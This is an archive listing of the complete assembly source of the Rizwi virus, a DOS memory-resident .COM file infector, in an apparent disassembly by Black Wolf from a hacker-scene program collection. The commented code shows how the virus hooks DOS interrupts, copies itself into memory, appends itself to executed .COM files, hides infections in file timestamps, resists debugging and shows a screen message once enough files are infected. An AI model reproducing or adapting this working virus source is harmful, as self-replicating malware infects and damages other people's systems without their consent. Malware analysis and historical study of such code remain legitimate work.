home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / R.ZIP / RIZWI.ZIP / RIZWI.ASM < prev    next >
Assembly Source File  |  1993-07-22  |  8KB  |  298 lines

  1. ;Rizwi Virus from the TridenT research group.  
  2. ;Memory resident .COM infector.
  3.  
  4. ;This virus is only active after the spring of 1994.
  5. ;When active,  it infects .COM files on execution, and keeps
  6. ;track of the number of files that it has infected.  While it has
  7. ;infected between 0C8h and 0f0h files, it displays the message
  8. ;that " Righard Zwienenberg made the DUTCH-555 virus!!! " on
  9. ;the screen.
  10.  
  11. ;This virus has some anti-debugging code, as it masks the keyboard
  12. ;interrupt and checks to see if it remaines masked, so when debugging
  13. ;through it one must jump over these sections of code (In/Out port 21h
  14. ;and the checking of ax accompanying them).
  15.  
  16. ;Disassembly by Black Wolf
  17.   
  18. .model tiny
  19. .code
  20.  
  21.         org     100h
  22.   
  23. start:
  24.         call    Get_Offset
  25. Get_Offset:
  26.         pop     bp
  27.         sub     bp,offset Get_Offset
  28.         
  29.         mov     ah,30h
  30.         int     21h                     ;Get Dos version/Install Check
  31.                
  32.         cmp     bx,4243h
  33.         je      DoneInstall             ;Already Installed
  34.  
  35.         mov     ah,2Ah
  36.         int     21h                     ;Get date
  37.                   
  38.         in      al,21h                  ;Read interrupt masks...
  39.         
  40.         cmp     cx,1993                 ;Is year later than 1993?
  41.         ja      GoMemRes                ;If not, exit.
  42.  
  43.         cmp     dh,4
  44.         ja      GoMemRes                ;Is month < May, exit.
  45. DoneInstall:
  46.         db      0e9h,74h,0              ;jmp     ReturnToHost
  47.  
  48. GoMemRes:
  49.         or      al,2
  50.         push    ax
  51.         mov     ax,351Ch
  52.         int     21h                  ;Get timer interrupt
  53.                
  54.         mov     cs:[Int1cIP+bp],bx
  55.         mov     cs:[Int1cCS+bp],es
  56.         
  57.         pop     ax
  58.         out     21h,al               ;Interrupt - disable keyboard?
  59.  
  60. SetInterrupts:
  61.         mov     ax,3521h
  62.         int     21h                     ;Get int 21 address
  63.                 
  64.         mov     word ptr cs:[OldInt21+bp],bx       
  65.         mov     word ptr cs:[OldInt21+2+bp],es
  66.         in      al,21h                 
  67.         and     al,2
  68.         push    ax
  69.         
  70.         mov     ax,cs
  71.         dec     ax
  72.         mov     ds,ax                   ;Set DS = MCB
  73.         cmp     byte ptr ds:0,'Z'       ;Are we at the end of the 
  74.         jne     ReturnToHost            ;memory chain?
  75.  
  76.         ;sub     word ptr ds:[3],27h     ;Decrease MCB size
  77.         db      81h,2eh,03,0,27h,0  
  78.  
  79.         ;sub     word ptr ds:[12h],27h   ;Decrease PSP top of memory
  80.         db      81h,2eh,12h,0,27h,0  
  81.         
  82.         lea     si,[bp+100h]            ;SI = beginning of virus
  83.         mov     di,100h                 ;DI = new offset (100h)
  84.         
  85.         pop     ax
  86.         cmp     al,2                    ;Did someone skip interrupt
  87.         jne     SetInterrupts           ;disabling code?  If so,
  88.                         ;loop them back to redo
  89.                         ;interrupt setting.
  90.                       
  91.  
  92.         mov     ax,ds:[12h]             ;Get free segment
  93.         sub     ax,10h                  ;Subtract 10h to account for
  94.         mov     es,ax                   ; offset of 100h
  95.         mov     cx,263h
  96.         push    cs
  97.         pop     ds
  98.         rep     movsb                   ;Copy virus into memory
  99.         in      al,21h             
  100.         xor     al,2                    
  101.         push    es
  102.         pop     ds
  103.         out     21h,al                  ;Do the keyboard int again...
  104.  
  105.         mov     ax,251Ch
  106.         mov     dx,offset Int1cHandler
  107.         int     21h                     ;Set int 1ch
  108.                      
  109.  
  110.         mov     ax,2521h
  111.         mov     dx,offset Int21Handler
  112.         int     21h                     ;Set int 21h
  113.                       
  114. ReturnToHost:
  115.         push    cs                      ;Restore Seg regs
  116.         pop     ds
  117.         push    ds
  118.         pop     es
  119.         mov     di,100h
  120.         push    di
  121.         lea     si,[bp+Storage_Bytes]            ;Storage bytes
  122.         movsw
  123.         movsb                           ;Restore host
  124.         ret
  125.  
  126.  
  127. Storage_Bytes:          
  128.         int     20h
  129.         popf
  130.         
  131. TridenT_ID      db      '[TridenT]'
  132.   
  133. FakeInt21h:
  134.         pushf                          
  135.         call    dword ptr cs:OldInt21     ;Fake Interrupt 21h
  136.         retn
  137.  
  138.   
  139. VirusVersion    db      '{V1.1 Bugfix}'
  140.  
  141. OldInt21        dw      0, 0
  142.                 
  143. Int21Handler:                
  144.         cmp     ax,4b00h
  145.         je      IsExecute
  146.         cmp     ah,30h
  147.         jnz     ExitInt21
  148.         call    FakeInt21h
  149.         mov     bx,4243h
  150.         iret
  151.  
  152. ExitInt21:
  153.         jmp     dword ptr cs:OldInt21
  154.  
  155. IsExecute:
  156.         push    ax bx cx dx si di ds es bp ds dx
  157.         
  158.         mov     ax,4300h
  159.         call    FakeInt21h      ;Get attributes
  160.         
  161.         mov     FileAttribs,cx  ;Save them
  162.         xor     cx,cx     
  163.         mov     ax,4301h        ;Reset Attributes
  164.         call    FakeInt21h      
  165.  
  166.         mov     ax,3D02h        ;Open file
  167.         call    FakeInt21h
  168.  
  169.         mov     Filehandle,ax      
  170.         xchg    ax,bx
  171.         mov     ax,5700h
  172.         call    FakeInt21h      ;Get file date/time
  173.         mov     cs:[FileTime],cx  ;  and save them
  174.         mov     cs:[FileDate],dx 
  175.         and     cx,1Fh
  176.         cmp     cx,1Fh          ;Check infection in time stamp
  177.         jne     Infect_File
  178.  
  179.  
  180. CloseFile:
  181.         mov     ah,3Eh
  182.         call    FakeInt21h
  183.         
  184.         pop     dx              ;Pop filename address
  185.         pop     ds
  186.         mov     cx,FileAttribs
  187.         mov     ax,4301h        
  188.         call    FakeInt21h      ;Reset Attributes
  189.         
  190.         db      0e9h, 67h, 0    ;jmp     DoneInfect
  191.  
  192. Infect_File:
  193.         mov     ah,3Fh
  194.         push    cs
  195.         pop     ds
  196.         mov     dx,offset Storage_Bytes
  197.         mov     cx,3
  198.         call    FakeInt21h              ;Read in first 3 bytes
  199.  
  200.         cmp     word ptr cs:[Storage_Bytes],4D5Ah  ;Is EXE?
  201.         je      CloseFile      
  202.         cmp     word ptr cs:[Storage_Bytes],5A4Dh  ;Is alternate EXE?
  203.         je      CloseFile      
  204.  
  205.         mov     ax,4202h
  206.         xor     cx,cx
  207.         xor     dx,dx
  208.         call    FakeInt21h              ;Go to the end of file
  209.         
  210.         sub     ax,3                    ;adjust size for jump
  211.         mov     word ptr [JumpSize],ax  ;save jump size
  212.         
  213.         mov     ah,40h    
  214.         mov     dx,100h
  215.         mov     cx,263h
  216.         call    FakeInt21h              ;Append Virus to host
  217.  
  218.         mov     ax,4200h
  219.         xor     cx,cx   
  220.         xor     dx,dx                   ;Go to beginning
  221.         call    FakeInt21h              ;of host file.
  222.  
  223.         mov     ah,40h                  
  224.         mov     dx,358h
  225.         mov     cx,3
  226.         call    FakeInt21h              ;Write Jump bytes
  227.         
  228.         mov     ax,5701h
  229.         mov     cx,[FileTime]
  230.         mov     dx,[FileDate]
  231.         or      cx,1Fh                  ;Mark infection in time stamp
  232.         call    FakeInt21h              ;Restore time/date
  233.  
  234.         inc     byte ptr cs:[Counter]   ;Activation counter...
  235.         jmp     short CloseFile
  236.  
  237. DoneInfect:
  238.         pop     bp es ds di si dx cx bx ax
  239.         jmp     ExitInt21
  240.  
  241. Int1cIP         dw      0    
  242. Int1cCS         dw      0    
  243.  
  244. Int1cHandler:                ;While infections are between C8h and F0h,
  245.                  ;Stick message on screen every once in a while.
  246.         pushf
  247.         push    ax cx si di ds es
  248.         cmp     byte ptr cs:[Counter],0C8h
  249.         jb      ExitInt1c
  250.         cmp     byte ptr cs:[Counter],0F0h
  251.         ja      ExitInt1c                  
  252.         cmp     word ptr cs:[TimerCount],5000h
  253.         je      WriteMessageToScreen            
  254.         inc     word ptr cs:[TimerCount]
  255.         
  256.         db      0e9h,16h,0              ;jmp     ExitInt1c             
  257.  
  258. WriteMessageToScreen:
  259.         push    cs
  260.         pop     ds
  261.         mov     ax,0B800h             ;Text Screen memory
  262.         mov     es,ax
  263.         mov     si,offset Message
  264.         mov     di,0A0h
  265.         db      81h,0efh,62h,0        ;sub     di,EndMessage-Message
  266.         mov     cx,EndMessage-Message
  267.         rep     movsb
  268.  
  269. ExitInt1c:
  270.         pop     es ds di si cx ax
  271.         popf
  272.         iret
  273.     
  274. ;Message says " Righard Zwienenberg made the DUTCH-555 virus!!! "
  275. ;Capital O's are attribute values....
  276.  
  277. Message:   
  278.         db      ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnO'
  279.         db      'bOeOrOgO OmOaOdOeO OtOhOeO ODOUO'
  280.         db      'TOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O'
  281.         db      ' O'
  282. EndMessage:
  283.  
  284. Counter         db      0
  285.         
  286. TimerCount      dw      0
  287.  
  288. JumpBytes       db      0E9h
  289. JumpSize        dw      0
  290.  
  291. FileAttribs     dw      0
  292. Filehandle      dw      0
  293. FileDate        dw      0
  294. FileTime        dw      0
  295.  
  296. end     start
  297.            
  298.